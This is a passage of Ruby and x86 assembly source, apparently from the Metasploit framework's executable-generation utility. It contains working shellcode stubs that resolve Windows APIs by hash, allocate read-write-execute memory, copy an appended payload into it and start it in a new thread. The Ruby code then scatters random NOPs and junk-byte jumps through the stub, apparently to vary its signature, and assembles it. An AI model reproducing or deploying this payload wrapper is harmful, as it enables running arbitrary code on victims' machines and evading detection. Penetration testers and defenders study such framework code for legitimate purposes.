    cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
    jnz get_next_func      ; Go compute the next function hash if we have not found it
    ; If found, fix up stack, call the function and then value else compute the next one...
    pop eax                ; Restore the current modules EAT
    mov ebx, [eax+36]      ; Get the ordinal table rva
    add ebx, edx           ; Add the modules base address
    mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
    mov ebx, [eax+28]      ; Get the function addresses table rva
    add ebx, edx           ; Add the modules base address
    mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
    add eax, edx           ; Add the modules base address to get the functions actual VA
    ; We now fix up the stack and perform the call to the desired function...
  finish:
    mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
    pop ebx                ; Clear off the current modules hash
    pop ebx                ; Clear off the current position in the module list
    popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
    pop ecx                ; Pop off the origional return address our caller will have pushed
    pop edx                ; Pop off the hash value our caller will have pushed
    push ecx               ; Push back the correct return value
    jmp eax                ; Jump into the required function
    ; We now automagically return to the correct caller...
  get_next_mod:            ;
    pop eax                ; Pop off the current (now the previous) modules EAT
  get_next_mod1:           ;
    pop edi                ; Pop off the current (now the previous) modules hash
    pop edx                ; Restore our position in the module list
    mov edx, [edx]         ; Get the next module
    jmp next_mod           ; Process this module
  ^

  stub_exit = %Q^
  ; Input: EBP must be the address of 'api_call'.
  ; Output: None.
  ; Clobbers: EAX, EBX, (ESP will also be modified)
  ; Note: Execution is not expected to (successfully) continue past this block

  exitfunk:
    mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
    push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
    call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye       ; Then just call the exit function...
    cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                 ; We now perform the actual call to the exit function
    push byte 0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^

  stub_alloc = %Q^
    pushad                 ; Save registers
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  delta:                   ;
  #{stub_block}
  start:                   ;
    pop ebp                ; Pop off the address of 'api_call' for calling later.

  allocate_size:
     mov esi,#{code.length}

  allocate:
    push byte 0x40         ; PAGE_EXECUTE_READWRITE
    push 0x1000            ; MEM_COMMIT
    push esi               ; Push the length value of the wrapped code block
    push byte 0            ; NULL as we dont care where the allocation is.
    push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    mov ebx, eax           ; Store allocated address in ebx
    mov edi, eax           ; Prepare EDI with the new address
    mov ecx, esi           ; Prepare ECX with the length of the code
    call get_payload
  got_payload:
    pop esi                ; Prepare ESI with the source to copy
    rep movsb              ; Copy the payload to RWX memory
    call set_handler       ; Configure error handling

  exitblock:
  #{stub_exit}

  set_handler:
    xor eax,eax
;		  push dword [fs:eax]
;		  mov dword [fs:eax], esp
    push eax               ; LPDWORD lpThreadId (NULL)
    push eax               ; DWORD dwCreationFlags (0)
    push eax               ; LPVOID lpParameter (NULL)
    push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
    push eax               ; SIZE_T dwStackSize (0 for default)
    push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
    push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
    call ebp               ; Spawn payload thread

    pop eax                ; Skip
;		  pop eax                ; Skip
    pop eax                ; Skip
    popad                  ; Get our registers back
;		  sub esp, 44             ; Move stack pointer back past the handler
  ^

  stub_final = %Q^
  get_payload:
    call got_payload
  payload:
  ; Append an arbitrary payload here
  ^


  stub_alloc.gsub!('short', '')
  stub_alloc.gsub!('byte', '')

  wrapper = ""  # regs    = %W{eax ebx ecx edx esi edi ebp}


  cnt_jmp = 0
  cnt_nop = 64

  stub_alloc.each_line do |line|
    line.gsub!(/;.*/, '')
    line.strip!
    next if line.empty?

    if (cnt_nop > 0 and rand(4) == 0)
      wrapper << "nop\n"
      cnt_nop -= 1
    end

    if(cnt_nop > 0 and rand(16) == 0)
      cnt_nop -= 2
      cnt_jmp += 1

      wrapper << "jmp autojump#{cnt_jmp}\n"
      1.upto(rand(8)+1) do
        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
        cnt_nop -= 1
      end
      wrapper << "autojump#{cnt_jmp}:\n"
    end
    wrapper << line + "\n"
  end

  #someone who knows how to use metasm please explain the right way to do this.
  wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
  wrapper << stub_final

  enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
  soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
  res = enc.data + code

  if which_offset == 'start'
    res[soff,4] = [block_offset - (soff + 4)].pack('V')
  elsif which_offset == 'end'
    res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
  else
    raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
  end
  res
end